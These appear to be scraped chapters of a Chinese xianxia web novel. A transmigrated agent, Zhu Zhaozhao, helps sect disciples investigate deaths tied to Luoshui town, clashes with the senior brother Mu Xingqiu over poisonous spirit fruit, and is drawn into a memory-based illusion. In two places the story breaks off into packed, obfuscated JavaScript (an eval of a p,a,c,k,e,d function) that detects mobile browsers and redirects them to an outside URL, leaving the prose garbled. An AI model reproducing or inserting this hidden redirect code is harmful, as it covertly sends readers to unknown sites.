满脸意外的白月书直接挤开边上的秦之衡:“你怎么在这里?” 快步走到祝昭昭跟前将她从地上轻轻拉起来,白月书仔细打量着她:“你到洛水多久了?” “你从哪进来的?” “你有没有受伤,有没有哪里不舒服?” 当然清楚为什么会被问有没有受伤,但白月书的连环问还是让祝昭昭哭笑不得。 却依旧很有耐心地回答每一个问题:“师父让我来的。” “他说我修为提升太快却缺少实战经验,所以让我跟着你们来洛水,一起锻炼锻炼。” “至于什么时候到的。” 祝昭昭给真实时间打了个码:“前天。” “前天?” 从队伍里探出脑袋,云珈问:“那昭昭你是从哪进来的,树林吗?” 说着想到某种可能性,她一点点瞪大眼:“树林里一路留纸条的人,该不会是你吧?” 云珈说完,队伍里传来一阵骚动,尤其是白月书—— 祝昭昭眼睁睁看着她的脸色从开始的焦急,渐渐变得震惊且不可置信。 这下换祝昭昭焦急了。 祝昭昭:等等,等我找个理由解释。 不过不怪他们反应大,毕竟作为刚从树林里闯出来的人,树林威力究竟几何,他们再清楚不过。 有慕行秋这个元婴后期带队加上纸条,他们都废了九牛二虎之力才从树林里闯出来。 留纸条的人对他们帮助之大,甚至让白月书想过若能找到这个人,必要给他当面答谢。 结果现在突然告诉他们,这个人很可能是祝昭昭—— 金丹中期的祝昭昭? 这是什么概念? 他们一行九人,七个元婴两个金丹,加一起还不如一个金丹中期? 那他们算什么? 所有人脸上表情最后都难得一致—— 像白日见鬼。 除了慕行秋。 其他人如遭雷击,祝昭昭也好不到哪去。 她纯粹是被气的。 所以慕行秋为什么把纸条的存在抖露出去?! 平时心眼子比头发都多的人,这时候为什么这么老实? 这是让你老实的时候吗?! 祝昭昭.这是在干什么·jpg 气归气,面上却不能露出半点破绽,否则后面的麻烦事可就多了。 丰富的业务经验让祝昭昭选择装傻:“什么树林,什么纸条?你们在说什么,我怎么听不懂?” “我是从牌坊那边来的啊。” 她指指屋群的方向,脸上不解的神情流露得恰到好处,“难道你们不是吗?” “当然不是!” 云珈快步走到祝昭昭身旁:“牌坊那边是正北方,但地图上记载的洛水镇入口在正东。” “所以慕师兄直接在正东降下灵舟,我们从身后的树林一路来的洛水。” 正北? 敏锐地察觉到云珈话里隐藏的问题,祝昭昭心头一个咯噔。 她记得自己初到洛水的时候,牌坊所在的方位分明是西南。 所以这究竟是…… “倒是昭昭你,”云珈打断祝昭昭的思绪,“你不按地图走,就不怕迷路吗?” 她摘下祝昭昭头发上粘着的碎野草:“要是不小心迷路了,我们还不知道你也来了,那你准备怎么办?” 虽然这问题确实存在,但在假定自己一无所知的情况下,祝昭昭总感觉这问题有种诡异的幽默感:“我会准备问在牌坊附近走动的镇民们,我该怎么进镇。” 空气顿时陷入沉默。 “不说这个了。” 见众人一脸凌乱,祝昭昭很贴心地选择转移话题:“你们在树林里走了一夜,现在应该已经很累了,不如先进镇里吧。” 她指指洛水镇内部:“客栈我早就找好了,也帮你们订下了房间。” “直接过去就行。” 拍拍祝昭昭脑袋,白月书满脸‘孩子真懂事’的欣慰:“难为你这么替我们着想。” “谢谢,昭昭。” 祝昭昭闻言本想来句不客气,然而下一秒,她就见到白月书皱起眉头。 像是意识到什么:“不对,昭昭。” “如果你是从牌坊处进的镇子,那你怎么会在这里等我们?” “你知道树林的尽头是这里?” 心里登时一个咯噔,祝昭昭保持微笑。 然后飞速找好理由:“因为我也有地图啊,加上还有镇民告诉我地图的路终点在哪。” “我也是找了好久才找到这的。” 白月书终于了然:“如此。” 她不再多想:“那昭昭你这便带我们前往客栈吧。” 祝昭昭求之不得。 * 乐呵呵带了一段时间路后,祝昭昭教会白月书剩下的路怎么走,便自顾自散步去了。 走着走着,她突然发现身边多了个人影。 是慕行秋。 秉承着敌不动我不动的精神,加上本来就对慕行秋透露字条存在的事不爽,祝昭昭装没看见。 但不妨碍慕行秋主动开口。 他平静的声音直接在祝昭昭脑海响起:“字太丑。” 祝昭昭一下呛咳出声。 摆摆手朝其他人示意自己没事后,祝昭昭瞪着慕行秋。 瞪了一阵后,嘴角扯出皮笑肉不笑的弧度,她同样精神传音:“你能看懂,就证明还没那么丑。” 慕行秋似笑非笑,一切尽在不言中。 懒得和他啰嗦纠缠,祝昭昭直击重点:“为什么告诉他们纸条的存在。” 相比祝昭昭的不解,慕行秋倒是坦然得多:“就算不告诉他们,短短数次指引,也不会让不听话的人听话。” 没想到慕行秋竟然真的知道自己单独留纸条给他的目的,是为了让此行有可能存在的刺头听话,祝昭昭有些意外。 “你说得倒也没错。” 伸了个懒腰,她望向前方众人:“但如果一无所知,之后总归还会因为这件事在前,对你的安排有所考虑。” “你大大方方说了,岂不是连一点考虑都不会有。” “无妨。” 慕行秋抬手接下落在面前的枯叶:“不重要的事,不听也无伤大雅;重要的事……” “我也有的是让人听话的方法。” 嘶…… 什么危险发言。 祝昭昭侧目。 难怪临到结局能把修真界搅得天翻地覆。 祝昭昭:擦汗猫猫头·jpg 想了想,祝昭昭最后微微颔首,权当作这次对话的结尾。 两人间恢复安静,各走各路。 但渐渐的,祝昭昭安静不了了。 因为她发现不管自己走路的速度快或是慢,慕行秋都始终在旁边。 什么毛病! 祝昭昭:嫌弃。 意识到这点后,本来就不想跟慕行秋同行的祝昭昭更是浑身难受,恨不得立刻给他一脚让他滚蛋。 但这显然不太可能。 惹不起躲得起,暗暗在心底翻了个白眼后,祝昭昭准备直接跑到白月书身边去。 然而脚步刚动,慕行秋的话音又突然在脑海响起。 “我身陷幻境时,你是不是拿东西砸我脚?” 祝昭昭:…… 汗流浃背·jpg 唉呀我脚酸了就不陪你闲聊了哈。 * 来到客栈,祝昭昭直接从空间袋拿出栈牌。 才不想做分房间这种吃力不讨好的事,祝昭昭把九张栈牌双手递到慕行秋面前。 她笑眯眯地:“慕师兄受累。” 并未第一时间有所动作,慕行秋神色莫测地盯着那些栈牌。 祝昭昭等得脸都笑累了。 好小子,给面子不要得寸进尺是吧? 所幸赶在祝昭昭发作前,慕行秋终于慢条斯理地接过栈牌。 烫手山芋被接走,祝昭昭立刻闪到一边围观。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280550|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也因为跑路太快,她错过了慕行秋拿到栈牌时,眼底闪过的浅淡笑意。 慕行秋同样没有按常理老实分栈牌。 直接以灵力分开包裹栈牌,他言简意赅:“抓到哪张牌就去哪间房。” 边上已经准备好吃瓜看戏的祝昭昭瞳孔地震。 好家伙。 领队也可以玩这种招数吗?? 你知不知道你的人设是剑宗大师兄啊? 怎么偷偷跑去去跟掌筠进修了? 祝昭昭:这是可以说的吗·jpg 好在虽然看起来也有点对这种分配方式接受无能,但众人最后还是选择乖乖抽签。 不过本来订房的时候,祝昭昭就考虑到防落单问题,因此特意选择尽量将所有人聚集在一起,九间房面对面,没有差距非常大的位置。 最后所有人上楼找到自己房间时,没人提出异议,也证明了这点。 想来树林穿行的一夜应该确实让众人精疲力尽。一行人认好房间互相道完别后关上门,很快就都没了动静。 哪怕外面这会儿正熙来攘往,热闹非凡。 察觉到房内平静的气息,本来想找云珈问点话的祝昭昭站在她房间门口,难得有些意外。 “昨晚虽然我及时用你的方法将他们带出幻境,但于幻境中徘徊,不论时长,总会消耗灵力与精气。” “所以一段时间内,他们都需要独自休整恢复。” 熟悉的悠闲语气在身后响起,祝昭昭回头。 便见慕行秋此刻正环胸斜靠在门边,目光懒散地落在自己身上。 也知道面前的房门确实暂时不太可能打开,祝昭昭于是转身:“那你呢,你为什么现在还醒着?” 慕行秋意味不明地弯起眼:“也许是因为你砸我砸得及时。” 祝昭昭:…… 知道了,下次在你脖子挂一圈闹钟,边上再放俩大音响。 保证不让你受皮肉之苦。 偷偷在心底磨完牙,祝昭昭撇撇嘴,问起真正想问:“刚才云珈说你们当时看到的洛水牌坊,是在正北。” “是。”慕行秋神色不变,“有什么问题么。” “确实有问题。” 祝昭昭后退半步,靠在门上:“因为我到的时候,看见的牌坊方位在西北。” 慕行秋挑眉。 稍微思忖,他问:“那么地图上的洛水入口,是否有变化?” “没有。” 背在门后的手指尖轻扣,祝昭昭垂眸:“地图上的洛水入口,就是正东。” 空气陷入沉默。 “算了。” 祝昭昭抵住门板直起身:“有什么问题,晚点大家都醒了再问也不迟。” 说完走到云珈旁边自己的房间,祝昭昭推开门—— 接着在准备关门时,突然皱起眉。 她这才注意到慕行秋此时站着的位置:“你房间怎么在我对面?” 像是听见什么有意思的事,慕行秋不答反问:“我房间不能在你对面么?” 祝昭昭:不能。 沉默了一下,祝昭昭选择装耳背:“你旁边好像是之衡师兄的房间……” “不如你跟他换换?” 早在听到‘之衡师兄’的时候,慕行秋就已经微笑起来。 祝昭昭说完,他笑意更深。 一看以为有戏,祝昭昭打起精神准备继续劝—— 那边就听见慕行秋开口。 “不行。” “我没有半途和人换房间的爱好。” …… 祝昭昭顿时死鱼眼。 爱换不换。 目送祝昭昭关上门,确定她没有出来的意思后,慕行秋从袖口摸出了个东西。 是那个被他‘收缴’的偶人。 抓着偶人轻轻摆弄一阵,慕行秋最后操控着偶人,摆出叉腰生气的模样。 盯了一阵,他突然轻笑。 “脾气不小。” 抬手将偶人收回袖中,慕行秋转身回房。 68. 说话注意点! 酉时,夜幕降临。 在陌生的环境中贸然行动危险,出于知己知彼百战不殆的目的,众人商量后,决定先观察洛水镇一段时间。 于是第一晚,刚恢复好的他们选择在楼下坐坐。 客栈分三层,最顶层住宿,最底层作厅;除让食客就坐外,老板还会安排人唱戏或说书。 只有二楼稍清净些。 于是由慕行秋做主,众人在二楼找了个位置。 早在申时就有人陆续醒来,直到酉时初,云珈从楼上下来后,所有人终于到齐。 一眼就瞄见她晃晃悠悠的身影,祝昭昭高举起手摆来摆去:“云珈,在这边。” 终于瞄到众人的云珈连忙走过去。 知道云珈修为较之其他人稍差,因此并未恢复完全。见她迷迷糊糊地准备随便找个空位坐,祝昭昭直接把她拉到自己身边。 从袖中摸出补灵丹倒了两颗进掌心,祝昭昭一把将之塞到云珈嘴里:“别说话,先吃。” 猝不及防两颗丹进嘴,云珈完全是靠本能嚼起来。 直到沁凉的感觉从嘴中传至脑海,最后蔓延到四肢百骸,云珈终于彻底清醒。 也终于发现给自己吃丹药的人是谁:“昭昭?你怎么在我旁边?” 好家伙,意思刚才是在梦游来着? 祝昭昭微笑。 拍拍云珈肩膀,她开门见山地问:“你怎么会一起过来,毕竟其他人的修为都……” 祝昭昭视线梭巡一圈,无声胜有声。 云珈也没跟她客气,听完就轻轻撞了下她肩膀:“虽然这次历练指定了很多师兄师姐,但还是有位置放出来抽签的好不好?” 说着忽然凑到祝昭昭耳边,她强压兴奋:“其实其他历练更有意思,我是冲着月书师姐才来的。” “现在看来我的决定太对了,不仅月书师姐可靠得叫人无比安心,你居然也在。” 她朝祝昭昭眨眨眼:“值了。” 云珈说得真心,祝昭昭却听得哭笑不得。 要是她知道这次历练在上周目可以说是剧情重要转折点,不仅引出了魔族设定还死了人。 她还会不会是这个反应。 捏捏云珈的手,祝昭昭将注意力放在面前众人:“所以我们这次历练的目的是什么?” “昭昭你不知道?” 说话的是贺稚雪:“宗主什么都没说就让你过来了?” 祝昭昭:…… 是知道,但不多,而且谁会嫌自己手上信息多? 也说了,只不过是直接通知我过来炸魔族通道的。 那既然有人给自己找好套信息的理由,作为师父替徒弟背点黑锅,难道不是天经地义吗? 想起出发时掌筠让自己走路下山的抽象操作,祝昭昭坑师父坑得更心安理得了。 他的福报罢了。 于是祝昭昭微笑,沉默,一切尽在不言中。 她这副反应加上掌筠惯常作风,众人想不自我疯狂脑补都难。 望着祝昭昭的模样多了些心疼,白月书摸摸她脑袋:“没事,师姐告诉你。” “我们这次过来的目的,是为了调查宗内弟子暴毙一事。” 早在所有人落座时,慕行秋就已经布下隔音结界。因此众人并不担心谈话被人听到。 “弟子暴毙?”祝昭昭眼底平静,面上却露出疑惑,“和洛水镇有关系吗?” “对。” 白月书点头:“但我了解得也不多,只知道一资质平平的弟子出宗历练后,修为突然飞速提升,最后在参加宗门大比前离奇暴毙。” “但在此之前好像还有其他……” 她扭头向贺稚雪。 接到白月书目光,贺稚雪应道:“没错。” 像是在考虑怎么说更精准明确,她略微思忖一阵后,才慎重开口—— 其实并不算罕见事,真要说起来,就是宗内暴毙的弟子来过洛水镇。 但离奇就离奇在,近段时间我们能调查到的每一个暴毙弟子,死前都来过洛水镇。 “……且我与陈青调查的时候,偶然间问了其他宗门,才发现其他宗门内,竟也出现了同样的事。” “但他们并未重视此事,也许是有其他考量罢。” 贺稚雪说完,继续刚才的话:“不止是各大宗门,甚至还有散修。” “我们能问或调查到的每个人,都经历过去洛水历练修行,修为大进步,最后离奇暴毙的过程。” “□□是我们调查的最后一个。” ‘□□’就是白月书刚才提到的那个弟子:“他死后,与他同住的弟子上报掌刑司,师……二长老便决定让我们前来洛水调查。” 她话落,祝昭昭了然颔首:“原来如此。” “那我们之后要如何开始调查?” 气氛突然有些凝固。 直到慕行秋接过断掉的话题。 他淡声:“此事诡谲之处,便在于事情无从查起。” 无从查起? 祝昭昭循声望向他。 对上她朝自己看来的疑惑目光,慕行秋移开视线:“宗内能查到的几人,皆是因为他们来洛水镇前,与身边人提过此事。” 躲什么,还不好意思让人看呢。 暗暗在心底嫌弃完,祝昭昭很快明白慕行秋的意思:“所以你言下之意是……来过洛水但未和身边人提过的人,全都找不到?” 慕行秋轻扣两下桌面。 祝昭昭沉默。 也就是说,他们的记忆很可能在出洛水那刻,就被抹掉了。 所以除非出发前和旁人提过,否则如果独自悄悄前往洛水,那么离开洛水,记忆被消抹的那刻—— 当事人在洛水的经历也就彻底消失。 思忖着,祝昭昭想到别的问题:“既然按照你们的调查,来洛水的人修为会快速提升……” “那为什么不把短时间内修为突然大涨的人,作为调查对象?” “因为查了也没用。” 这次开口的是陈青。 他单手托腮,垂眸凝视指间茶杯:“一是不可能修为大涨的人必定和洛水有关,二是我们的确试着查过,但……” “不论是修为大涨的人,又或是暴毙的尸首,都没有异常。” 没有异常,也就意味着无法区分筛选。 言罢放下茶杯,他抬头,眼底泛笑:“话虽如此,不过昭昭你知道吗,你是除我们几人外,唯一想到从这个方向调查的人。” “所以你真的不考虑下来掌刑司发光发热吗?” 望着陈青那双笑意潋滟的桃花眼,祝昭昭难得没有损人。 倒不是她招架不住他放电,而是这只招摇的花孔雀,是上周目洛水镇副本里,唯一一个没能回剑宗的人。 谁知道这次他又是什么结局? 就先不跟准死人计较了。 祝昭昭恍惚的功夫,贺稚雪刻意压低的声音突然传进耳里。 “你对着昭昭一个孩子在干什……” 她回神,接着就看到刚才还在乱放电的准死人已经面色微变坐直身子,而他旁边,贺稚雪没好气地移开视线。 差点笑出声,祝昭昭抿紧唇角。 不过……为了救喜欢的人而死,倒也很难说是种遗憾。 她唏嘘。 看着陈青的目光多了些怜悯,祝昭昭回归正题:“那难道就一点调查头绪也没有?” “倒也不是。” 被祝昭昭看得发毛,陈青挑眉:“方才不是说了么,从洛水离开的修士,修为都有不同程度地快速提升。” “那昭昭你现在看看 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想来应该是刚被仔细清洗过,鲜红如胭脂的果皮上还残留着滴滴水珠,在暖黄灯火的照耀下,如同宝石般闪着细碎的光。 但这不是最让人惊讶的。 最让人惊讶的,是灵果上蕴含的,充沛到几乎快实质化的灵力。 众人零碎的惊叹声里,祝昭昭平静地,目不转睛地盯着那盘鲜艳欲滴的灵果。 202的声音突然冒出来:“诶呦,好漂亮的果子!” “可惜不是好东西。” 它啧啧两声,口气却丝毫没有可惜的意思,“不过虽然主人你不能吃,但你可以请你的朋友吃哦!” 还请朋友…… 对着202抬手就是电,祝昭昭差点直接翻白眼。 没错,眼前这盘灵果,就是让洛水镇众人灵力大涨的原因。 但正如202所说,它不是什么举世难寻的灵丹妙药。 正相反,这是货真价实的危险毒药。 只是……它发挥作用的方式是? 祝昭昭愣神的当口,桌旁有人坐不住了。 刘统最先动起来。 捻起盘中小格里的竹签,他扎起颗灵果:“这果子看起来不错,就是不知道名字,小二也没说……” “勿食。” 慕行秋制止了他。 望着竹签上的灵果,他语调淡淡:“此地还未探查,加之此灵果蕴含灵力之充沛,太过反常。” “弄明白此物前,先不要碰洛水的任何东西。” 刘统悻悻放下竹签。 注视着刘统直到他收回空着的手,慕行秋才继续道:“如今我们对洛水所知甚少,调查更是无从谈起。那么当下最紧要之事,便是尝试融入洛水,与洛水镇民熟稔,方便从他们身上探听消息。” “但今日天色已晚,加之这两日舟车劳顿,我们仅凭白日的短暂休息,实际并不完全解乏。” 他率先起身:“所以今晚就到此为止,有什么事明日再说。” 慕行秋的考虑合情合理,加上刚才有云珈现场举例,于是众人纷纷从善如流地跟着他起身,准备回三楼房间。 众人走动起来的时候,祝昭昭也跟着动起来。 却不是离开。 趁没人注意到自己这边,她快速伸手向桌子中央,摸了两颗灵果收进袖里。 她需要研究下这小果子。 摸完灵果,祝昭昭装没事人一样跟着白月书和云珈一起走上三楼。 却就在她和两人道完别,准备进房间的时候,一道声音忽然在她身后响起。 “等等。” 69. “把你拿的东西交给我。” 祝昭昭寻声回头,便见慕行秋站在离自己数步远的地方。 又来。 这小子不赶紧回房间睡觉,又想干嘛啊。 牛皮糖吗?! 偷偷在心底不耐烦完,祝昭昭盯着慕行秋,语气不善:“什么事?” 警惕模样看得慕行秋一阵好笑。 他也不和祝昭昭兜圈子:“你方才悄悄带走的两颗灵果,交给我。” 诶呦。 祝昭昭瞪大眼。 这小子什么时候看到的? 什么口气什么态度? 还‘交给我’,管好自己好吗? 凭什么交给你? 就不交。 祝昭昭登时就不乐意了。 甚至懒得找理由敷衍慕行秋,她拿出百试九九灵的装傻充愣大法:“什么灵果,我没拿。” 谁知道慕行秋是不是故意在诈她,要是真乖乖拿出来,岂不是坐实了她偷拿灵果的事? 祝昭昭:休想诓我。 然而慕行秋根本不玩虚的。 像是早就猜到祝昭昭的反应,他不疾不徐地开口:“方才所有人起身之时,你借着云珈转身遮住你的瞬间,抬手摸向桌子中央。” 他详细地描述了祝昭昭的具体动作:“两指卷了三颗灵果,接着嫌多扔下一颗。得手后立刻收进袖中。” “再跟上等候你多时的月书与云珈一起离开。” 在说话的当口起步,慕行秋话落,人也刚好停在祝昭昭跟前。 微微弯下身,他眉眼带笑:“我说得够详细了么,昭昭师妹?” 祝昭昭没吭声。 因为早在慕行秋说到‘嫌多扔下一颗’的时候,她就已经汗流浃背。 不是,什么情况。 为什么连这种细节也知道? 这家伙该不会一直都分神盯着灵果,就为了防人偷拿吧? 至于吗? 祝昭昭:不会承认扔下那颗灵果是因为它不够饱满。 很快调整好心态,祝昭昭试图做最后挣扎:“……你看错了,其实后面我想起你的叮嘱,已经把果子扔回盘里。” 慕行秋并不反驳。 只是脸上笑意更深:“现在,那两颗灵果在你左手袖中。” 祝昭昭:…… 具体到左手? 想给她上眼药是吧? 越看越觉得眼前人言笑晏晏的模样欠揍,气不过的祝昭昭干脆破罐破摔:“那你说请。” 抱着‘灵果可以没,但必须恶心慕行秋一把’的念头,她胡言乱语:“你说‘请把灵果给我’,说了我就把灵果还……” “请把灵果给我。” 平静的,听不出丝毫反感或不愿的声音响起。 像是怕祝昭昭没听清,慕行秋再次俯下身,无比专注地望进她瞳孔,一字一句:“请你,把灵果给我。” 从他点漆般的眼瞳中望见自己倒影,祝昭昭怔。 他在说什么? 他竟然真的说了? 可她明明是以为他会生气才…… 突然察觉到两人间越来越近的距离,祝昭昭猛地后仰。 近乎慌乱地避开慕行秋的目光,她一言不发地伸手向袖口。 手腕翻转间,两颗艳红剔透的灵果出现在她掌心。 “……拿走。” 他指尖触上掌心,引起陌生微痒。感觉到灵果已经消失在手中,祝昭昭几乎立刻:“既然灵果你拿到了,我很累,就先回房了。” 开门,关门,一气呵成。期间祝昭昭甚至没有抬头看过一眼。 而直到门页合上的声音响起,慕行秋才终于像是被惊醒般回神。 盯住灵果片刻,鬼使神差地,他抬起另一边手,轻轻从掌心将之拿起。 不行。 不像。 五指收拢掩住灵果,慕行秋亦转身离开。 * 关门后就一下抵在门上,直到听见对面也传来同样响动,祝昭昭如释重负地长出口气。 和对面不知道什么时候冒出来的202大眼瞪小眼,祝昭昭哽了一下,才艰难找回自己声音—— “主人你/那家伙什么情况?” 一人一机同时出声,又同时闭嘴。 没搭理满脸懵的202,祝昭昭自顾自地咬牙:“那家伙什么毛病,竟然真说出来了。” “他没发现我在阴阳他?” 越想越难受,祝昭昭感觉全身都在冒鸡皮疙瘩:“我明白了,他肯定知道,他就是故意将计就计来恶心我。” “估计他刚才看到我的反应都乐开花了,现在指不定就躲在房间偷笑!” 把地面当成慕行秋怒瞪,祝昭昭恨恨磨牙:“好小子,算你花招多,以后最好别被我逮到,否则我非……” 祝昭昭一副要吃人的样子,看得202都快慌出振动模式。 生怕明早一上班就收到祝昭昭手刃大反派找场子的消息,它小心翼翼劝:“主人,有没有一种可能……” “大反派其实没想那么多,他只是不想跟你计较而已。” 202试图分析:“毕竟你现在的身份是宗主亲传,一个才十五岁,刚入剑宗的小朋友。” “虽然是大反派,但身为剑宗大师兄,他心情好的时候逗逗任性胡闹的小孩子也很正常吧?” “正常个头啊!” 祝昭昭气不打一处来:“他不想想在树林里我还带了他一把,现在居然觉得我是小孩子了,来逗我玩?” “而且小孩又怎么了,小孩就能随便逗吗?!” “没礼貌!” 谁让你先耍无赖的。 202难得体会到什么叫无语。 而且什么小孩不小孩啊,你只是暂借小孩的躯壳,实际到底多大了自己不知道啊? 最后恩将仇报是用在这个地方的吗? 想归想,但202也知道祝昭昭这会儿是真生气了,再招惹她保不齐就是一顿电。 所以它没敢挑明说这些。 只是和稀泥:“哎呀,主人你一个高级位面维护员,干嘛跟位面角色生那么大气。” “跟这个角色生气下,跟那个角色生气下,任务还做不做了?反正他们最后不都还是要靠你罩着。” “主人你就别和大反派计较了。” “谁和他计较了?” 祝昭昭扬声:“而且谁告诉你我没事就对别人生气的?” “啊不是啊?” 202表示震惊:“那主人你为什么对大反派生气?” 它化身侦探:“这么说我突然发现,主人你怎么就容易被大反派惹毛啊,好几次生气都因为他。” 为什么? 祝昭昭被问在原地。 对啊,为什么? 她是那么容易生气的人吗? 沉默片刻后,祝昭昭喃喃:“……也许是因为上周目他把我捅了个对穿,我记恨他?” 202:“主人你说什么?” “没什么。” 臭着脸摆手,祝昭昭走到桌前坐下,拿起茶杯倒水。 多年搭档已经让202学会有些不重要的事,问不到就别再问。 它把注意力放在祝昭昭现在的动作上:“主人,刚才大反派不是说这里的东西先不要用吗?” “他说你就听。” 垂眸盯着杯中茶水,祝昭昭撇嘴:“要是洛水的东西全部有问题,镇民察觉不到,那么多修士也不知道?” “好吧。” 202点点头:“不过确实,好像上周目男女主也用过些洛水的东西,但最后都没什么问题。因为他们没碰……” 它反应过来:“所以有问题的只是那个灵果?” “不然你以为我费心费力拿两颗果子干什么?”祝昭昭混没好气,“做旅游纪念啊?” 202尴尬地飞来飞去:“逮到主人你拿果子的是大反派,主人你老怼我干嘛?” “谁让你拿他的话来问我。”祝昭昭翻白眼,“再问还怼你。” 202:…… 主人越来越刁钻怎么办?急,在线等。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280552|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了。” 茶杯放在桌上带出一声轻响,祝昭昭以手托腮:“没果子现场研究,那就202你来说说。” “上周目洛水镇的剧情里是怎么描述灵果的,它的作用是什么。” 听话打开剧情文档,202看了一会儿后说:“剧情里没有解释太多,只是提到一旦吃了灵果,灵力大增的同时,会对洛水镇越来越认同。” 越来越认同? 是以灵果为媒介,精神控制身处洛水的人? 如果不是,那灵果究竟怎么起到这种作用? 指尖轻扣桌面,祝昭昭沉吟:“果然还是要拿到灵果才行。” 话落难免又想到刚刚在走廊里发生的事,她好不容易平复的心情再次变得不爽。 “……多管闲事。” 睡觉! * 没有重要事的时候,祝昭昭一般入睡很快。 但却不沉。 加上部分位面世界凶险,让祝昭昭养成下意识警惕的习惯。因此除非特意借助手段,她几乎已经不做梦。 所以当发现自己有意识之后周身所处的环境,祝昭昭愣了足足有半分钟。 她怎么会突然出现在位面维护局? 她做梦了? 今天心情那么差竟然也做梦了? 正疑惑,祝昭昭感觉肩膀被人拍上。 “祝昭昭,你愣在过道中间干什么?” 男人停在她身侧:“马上要年底考核,你站在这里发呆,指标就能自动合格了?” 见祝昭昭不吭声,男人以为她怕了自己,越说越来劲:“不过想想,像你这样的空降新人,应该连考核内容是什么都不知道吧。” 他装模作样地叹气:“也不知道主系统怎么了,居然会让新人来三部门,三部门是新人能待的吗?” “真是。” 男人啰嗦完,祝昭昭终于转动眼睛看向他。 熟人啊。 祝昭昭面无表情。 想来她的沉默应该让男人很满意,他最后假惺惺地笑起来:“好了。” “就算是新人,好好熟悉业务完,至少也能做到不拖其他人后腿。” “至于其他的。”男人上下打量祝昭昭一眼,“你这样的新人还是不要想了。” 话音落下,男人轻嗤一声离开。 冷冷盯着男人离开的背影,祝昭昭也回到自己工位。 窃窃私语的声音不时传进耳朵,感受到四周投来的,或观察或不善的目光,祝昭昭垂眸。 她竟然梦回自己刚进三部门的时候。 真是,又不是什么美好回忆,梦来做什么? 思忖着,祝昭昭准备像往常一样把202叫出来,手动挑选她喜欢的梦境享受沉浸体验。 然而不论她怎么叫,202始终没出现。 “什么情……” 话到一半猛地哽住,祝昭昭怔。 如果不是梦呢? 意识到这点的瞬间,四周景色突然仿佛被投入石子的湖面般,悄悄泛起涟漪。 哪怕这变化一闪而逝,依旧被祝昭昭精确捕捉。 所以确实不是梦。 不是梦的话,又该是什么? 洛水入口最后那段路突然浮现在她脑海。 是幻境? 伪装成梦的幻境? 至此,祝昭昭将一切串联起来。 如果没猜错的话,始作俑者应该是提取了被困者记忆以织就幻境,再等被困者警惕性降至最低时,用幻境将其困住。 如此一来,被困者会在惯性下以为自己身处梦中,进而无法警觉,任由自己在幻境沉沦。 相当巧妙且阴毒的手段。 但对祝昭昭来说,陷入幻境并不麻烦,真正麻烦的,另有其事。 指尖轻扣桌面,她环视一圈。 总之,当务之急还是先找出幻境主人。 正出神,祝昭昭突然发现有阴影自上方覆盖下来。 “你就是祝昭昭。” 下一秒,沉冷的男声在她头顶响起。 70. 你敢这么跟我说话? 很熟悉的声音。 熟悉到这么多年过去,祝昭昭听见这个声音的第一反应,还是无法控制的厌恶。 哪怕这人最后的结局,是以一种近乎惨败的姿态被她踢出三部门,成为她登上三部门要员位置的踏脚石。 祝昭昭指尖轻扣桌面。 好在也正是因为已经过去很多年,厌恶的情绪得以很快消失。 毕竟败者没有被记住的必要。 取而代之的,是前脚才拿灵果被慕行秋抓包;后脚又突然被人拉入幻境所引起的,极度的恼火和不耐烦。 喜欢偷窥别人记忆? 想利用他人的痛苦控制他人? 稍微平复了下情绪,祝昭昭抬头。 “什么事。” 似乎是对祝昭昭过于冷静的语气感到不满,男人皱眉:“你这是什么态度?” 什么态度? 你什么态度我就什么态度。 淡淡扫了眼男人的工牌,看着上面写着的‘张平达’三个字,祝昭昭不紧不慢回:“正常态度。” 被噎得一梗,张平达本想发作。 然而人多眼杂,为了不影响自身形象,他只能硬生生忍下来。 甚至装得对祝昭昭更和善了些。 嘴里吐出的话,却与和善没有半点关系:“年底事情多,大家都抽不开身。但文件却必须要收纳整理。” “所以昭昭你稍后去整理。” 祝昭昭眼皮都不抬。 抽不开身? 必须整理? 大堆从三部门成立开始就扔在杂物间,从没人动过的废弃资料,她一来就必须整理? 到底是整理文件,还是借机给她下马威? 曾经她因为空降身份心怀愧疚,为了尽快融入部门选择乖乖听话,连着整理了几天几夜。 最后却因此耽误考核正事,被人抓住把柄悄悄上报主系统,导致自己挨了一顿罚。 这次,哪怕只是幻境,她也不会再委曲求全伺候他。 祝昭昭张嘴。 “不去。” 以为自己耳鸣听错了,张平达愣了一下:“你说什么?” “我说。” 祝昭昭面不改色:“不去。” 空间一瞬扭曲。 目光落在空气中,祝昭昭沉吟。 是因为她迥然于记忆里的回应,导致幻境出现了不稳定情况? 思忖着,祝昭昭头顶传来张平达强压怒火的声音:“为了让你尽快融入我们部门,我特意选了轻松的工作给你。” “你现在却说你不去?” 他话不停:“你将对你寄予厚望的主系统放在哪里?” “你将团队协作,互帮互助的信条放在哪里?” “你将三部门的大家放在哪里?” 声声质问配上恨铁不成钢的表情,张平达的演技在这一刻展现得淋漓尽致。 祝昭昭却只觉得好笑。 这幻境确实很沉浸式,把张平达最喜欢站在道德高地给人扣帽子的德行,还原得相当真实。 懒得再给他好颜色,祝昭昭神色冰冷。 “张平达,你执行任务水平低下,搞道德绑架恐吓坑骗新人的手段,倒是炼得炉火纯青。” 她盯着面前人:“开口闭口团队协作互帮互助,然后你让我一个人去整理那堆垃圾?” 